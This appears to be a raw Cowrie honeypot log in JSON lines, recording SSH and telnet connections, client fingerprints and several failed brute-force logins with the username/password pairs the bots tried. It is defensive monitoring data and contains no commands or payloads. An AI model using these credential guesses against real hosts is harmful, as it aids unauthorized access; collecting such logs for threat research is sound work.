{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:22.580424Z","src_ip":"190.108.60.10","session":"12d0890ebdc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"linux123","message":"login attempt [ubuntu/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:23.440979Z","src_ip":"190.108.60.10","session":"12d0890ebdc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:24.649554Z","src_ip":"190.108.60.10","session":"12d0890ebdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.75.136","src_port":44970,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ab22dc7323","protocol":"telnet","message":"New connection: 170.78.75.136:44970 (159.203.135.109:23) [session: e9ab22dc7323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:27.876890Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.75.136","src_port":44992,"dst_ip":"159.203.135.109","dst_port":23,"session":"d14b3e5bd5c4","protocol":"telnet","message":"New connection: 170.78.75.136:44992 (159.203.135.109:23) [session: d14b3e5bd5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:28.101187Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.75.136","src_port":45026,"dst_ip":"159.203.135.109","dst_port":23,"session":"c13b9ddf452b","protocol":"telnet","message":"New connection: 170.78.75.136:45026 (159.203.135.109:23) [session: c13b9ddf452b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:29.948501Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.75.136","src_port":45186,"dst_ip":"159.203.135.109","dst_port":23,"session":"86c73b39cc8f","protocol":"telnet","message":"New connection: 170.78.75.136:45186 (159.203.135.109:23) [session: 86c73b39cc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:35.901203Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":38006,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7abdd99e933","protocol":"ssh","message":"New connection: 61.222.211.114:38006 (10.17.0.5:22) [session: c7abdd99e933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:50.174910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:50.179563Z","src_ip":"61.222.211.114","session":"c7abdd99e933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:50.383591Z","src_ip":"61.222.211.114","session":"c7abdd99e933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@123456789","message":"login attempt [ubuntu/ubuntu@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:51.236904Z","src_ip":"61.222.211.114","session":"c7abdd99e933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:52.444260Z","src_ip":"61.222.211.114","session":"c7abdd99e933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":42706,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c16bf19d318","protocol":"ssh","message":"New connection: 141.11.21.145:42706 (159.203.135.109:22) [session: 1c16bf19d318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:53.360229Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:53.449856Z","src_ip":"141.11.21.145","session":"1c16bf19d318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":42710,"dst_ip":"159.203.135.109","dst_port":22,"session":"276e0859d588","protocol":"ssh","message":"New connection: 141.11.21.145:42710 (159.203.135.109:22) [session: 276e0859d588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:53.529693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:53.534357Z","src_ip":"141.11.21.145","session":"276e0859d588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:53.619669Z","src_ip":"141.11.21.145","session":"276e0859d588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caja01","password":"caja01","message":"login attempt [caja01/caja01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:53.872354Z","src_ip":"141.11.21.145","session":"276e0859d588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:54.957272Z","src_ip":"141.11.21.145","session":"276e0859d588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.467490434646606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:58.344271Z","src_ip":"170.78.75.136","session":"e9ab22dc7323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255810022354126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:59.356894Z","src_ip":"170.78.75.136","session":"d14b3e5bd5c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3842031955719,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:01.332570Z","src_ip":"170.78.75.136","session":"c13b9ddf452b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38781499862671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:06.288935Z","src_ip":"170.78.75.136","session":"86c73b39cc8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":60704,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d13d56f6cb8","protocol":"ssh","message":"New connection: 190.108.60.10:60704 (10.17.0.5:22) [session: 8d13d56f6cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:28.783288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:28.788139Z","src_ip":"190.108.60.10","session":"8d13d56f6cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:28.986187Z","src_ip":"190.108.60.10","session":"8d13d56f6cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"password123","message":"login attempt [developer/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:29.822336Z","src_ip":"190.108.60.10","session":"8d13d56f6cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:31.022329Z","src_ip":"190.108.60.10","session":"8d13d56f6cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.177.179.91","src_port":51348,"dst_ip":"10.17.0.5","dst_port":22,"session":"d91279583bf7","protocol":"ssh","message":"New connection: 213.177.179.91:51348 (10.17.0.5:22) [session: d91279583bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:37.184696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:37.233783Z","src_ip":"213.177.179.91","session":"d91279583bf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:37.322668Z","src_ip":"213.177.179.91","session":"d91279583bf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":51446,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e50deff4b0c","protocol":"ssh","message":"New connection: 61.222.211.114:51446 (10.17.0.5:22) [session: 0e50deff4b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:46.376888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:46.384781Z","src_ip":"61.222.211.114","session":"0e50deff4b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:46.588703Z","src_ip":"61.222.211.114","session":"0e50deff4b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:47.234551Z","src_ip":"213.177.179.91","session":"d91279583bf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"2","message":"login attempt [test2/2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:47.440611Z","src_ip":"61.222.211.114","session":"0e50deff4b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:08:48.647923Z","src_ip":"61.222.211.114","session":"0e50deff4b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.75.136","src_port":47404,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1ece5825c7","protocol":"telnet","message":"New connection: 170.78.75.136:47404 (159.203.135.109:23) [session: 5c1ece5825c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:23.883467Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34380,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6c32eb5b5ce","protocol":"telnet","message":"New connection: 104.245.105.2:34380 (10.17.0.5:23) [session: e6c32eb5b5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:25.561101Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":33686,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af28ec26f1a","protocol":"ssh","message":"New connection: 61.222.211.114:33686 (10.17.0.5:22) [session: 9af28ec26f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:44.172265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:44.176653Z","src_ip":"61.222.211.114","session":"9af28ec26f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:44.388310Z","src_ip":"61.222.211.114","session":"9af28ec26f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123mudar","message":"login attempt [deploy/123mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:45.264513Z","src_ip":"61.222.211.114","session":"9af28ec26f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:46.477807Z","src_ip":"61.222.211.114","session":"9af28ec26f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33147954940796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:54.214830Z","src_ip":"170.78.75.136","session":"5c1ece5825c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.388480186462402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:09:56.949437Z","src_ip":"104.245.105.2","session":"e6c32eb5b5ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47508,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a74fbb952df","protocol":"telnet","message":"New connection: 104.245.105.2:47508 (10.17.0.5:23) [session: 0a74fbb952df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:10:12.516772Z"}
